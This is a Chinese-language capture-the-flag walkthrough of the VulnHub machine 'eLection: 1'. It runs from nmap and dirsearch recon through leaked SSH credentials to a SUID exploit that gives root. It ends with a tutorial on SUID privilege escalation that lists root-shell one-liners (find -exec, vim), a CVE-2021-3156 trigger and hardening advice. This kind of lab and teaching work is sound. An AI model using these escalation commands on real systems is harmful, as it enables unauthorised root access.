eLection: 1

来自 <eLection: 1 ~ VulnHub>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.196

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.196

4,访问一下80端口存在的服务

是默认的Apache页面

dirsearch -u http://192.168.23.196 -x 404,403,500

查看/robots.txt

还存在/phpnyadmin

还有/election

再扫描这个页面的子目录

dirsearch -u http://192.168.23.196/election -x 404,403,500

日志文件里面找到用户名和密码love/P@$$w0rd@123

5,使用ssh直接登录

ssh love@192.168.23.196 

然后进行信息收集

寻找具有suid权限的特殊二进制文件

find / -perm -4000 -type f 2>/dev/null

  1. /:从根目录开始递归搜索整个文件系统。
  2. -perm -4000:匹配权限模式。4000 是 SUID 位的八进制值,- 表示“所有指定权限位必须被设置”。即仅筛选出 SUID 权限被启用的文件。
  3. -type f:仅搜索普通文件(排除目录、设备文件等)。
  4. 2>/dev/null:将标准错误输出(如权限不足的警告)重定向到空设备,使结果更清晰。

搜索这个有无可利用漏洞

将文件转储下来

然后kali开启http服务

在靶场上下载这个47009.c文件

编译文件,然后给权限执行,提权变成root用户

得到/root下的flag

深度解析:为什么 SUID 权限的二进制文件可被提权利用?

一、SUID 权限的本质

在 Linux/Unix 系统中,SUID(Set User ID) 是一种特殊的文件权限标志。当用户执行一个设置了 SUID 位的程序时,该程序会以 文件所有者(Owner)的权限 运行,而非执行者的权限。例如:

  • 若一个程序属主是 root,且设置了 SUID,普通用户执行时,该程序会暂时获得 root 权限。

关键机制:

  • 进程的 有效用户ID(EUID) 会被设置为文件属主的 UID。
  • 例如:/usr/bin/passwd 的属主是 root,普通用户执行 passwd 修改密码时,EUID 会变为 0(root),从而允许写入 /etc/shadow。

二、提权的核心逻辑

SUID 程序本身并不直接导致提权,但若程序存在以下漏洞,攻击者可通过它 继承高权限,进而执行恶意操作:

1. 程序逻辑漏洞

如果 SUID 程序的代码存在安全缺陷,攻击者可利用漏洞 以高权限执行任意代码。常见漏洞类型包括:

  • 命令注入:程序拼接用户输入到系统命令中(如 system()、popen())。
    • 示例:程序调用 system("backup_script " + user_input),用户输入 ; /bin/sh,实际执行 backup_script ; /bin/sh,启动 root shell。
  • 缓冲区溢出:程序未对输入长度做检查,覆盖栈/堆数据,劫持程序执行流程。
    • 示例:通过溢出覆盖返回地址,跳转到恶意代码(shellcode),以 root 权限执行。
  • 环境变量劫持:程序依赖环境变量(如 PATH、LD_PRELOAD)加载外部资源。
    • 示例:若程序调用 system("ls"),攻击者可修改 PATH,使 ls 指向恶意脚本,以 root 权限执行。
  • 文件操作漏洞:程序以高权限读写敏感文件(如 /etc/passwd)。
    • 示例:程序未检查用户输入的文件路径,导致攻击者覆盖 /etc/shadow。

2. 滥用程序功能

某些 SUID 程序的功能本身可被“合法滥用”来提权:

  • 启动子进程:若 SUID 程序能启动其他进程(如 bash、sh),子进程会继承 EUID。
    • 示例:/usr/bin/find 的 -exec 参数可执行命令:
      find / -name test -exec /bin/sh \;  # 以 root 权限启动 shell
  • 写入敏感文件:程序有权限修改系统文件(如 crontab、sudoers)。
    • 示例:通过 SUID 程序写入 /etc/crontab,添加恶意任务,由 cron 以 root 权限执行。

3. 配置错误

管理员可能错误地为危险程序设置 SUID 权限:

  • 自定义脚本:Shell/Python 脚本设置 SUID 通常是无效的(因解释器会忽略 SUID),但若错误配置,可能引发风险。
  • 不必要的 SUID:例如为文本编辑器 vim 设置 SUID,允许用户通过 :!sh 启动 root shell。

三、提权的具体步骤(以命令注入为例)

假设发现一个 SUID 程序 /usr/bin/vulnerable,属主为 root,代码如下:

#include <stdlib.h>
int main(int argc, char *argv[]) {
    system(argv[1]);  // 直接执行用户输入的命令
    return 0;
}

攻击过程:

  1. 确认 SUID 权限:
    ls -l /usr/bin/vulnerable
    -rwsr-xr-x 1 root root 16384 Jan 1 00:00 /usr/bin/vulnerable  # 设置了 SUID
  2. 利用命令注入:
    /usr/bin/vulnerable "/bin/sh"  # 执行命令 `/bin/sh`,继承 root 权限
  3. 获得 root shell:
    whoami  # 输出 root

四、经典提权案例

  1. CVE-2021-3156(sudo 堆溢出漏洞):
    • 漏洞类型:缓冲区溢出。
    • 影响:攻击者可通过 sudoedit 以 root 权限执行任意代码。
    • 利用命令:
      sudoedit -s '\' $(perl -e 'print "A" x 65536')  # 触发溢出,获取 root shell
  2. /usr/bin/find 的 -exec 参数:
    find / -name test -exec /bin/sh \;  # 启动 root shell
  3. /usr/bin/vim(配置错误):
    vim -c ':!/bin/sh'  # 若 vim 有 SUID,可启动 root shell

五、防御措施

  1. 最小化 SUID 程序:
    • 定期审计:find / -perm -4000 -type f。
    • 移除非必要 SUID 权限:chmod u-s /path/to/file。
  2. 代码安全实践:
    • 避免在 SUID 程序中使用 system()、popen() 等危险函数。
    • 严格过滤用户输入(如使用白名单机制)。
  3. 权限隔离:
    • 为服务分配低权限用户,而非直接使用 root。
  4. 系统加固:
    • 使用 grsecurity、AppArmor 等限制进程行为。
    • 启用 SELinux 的强制访问控制(MAC)。

更多推荐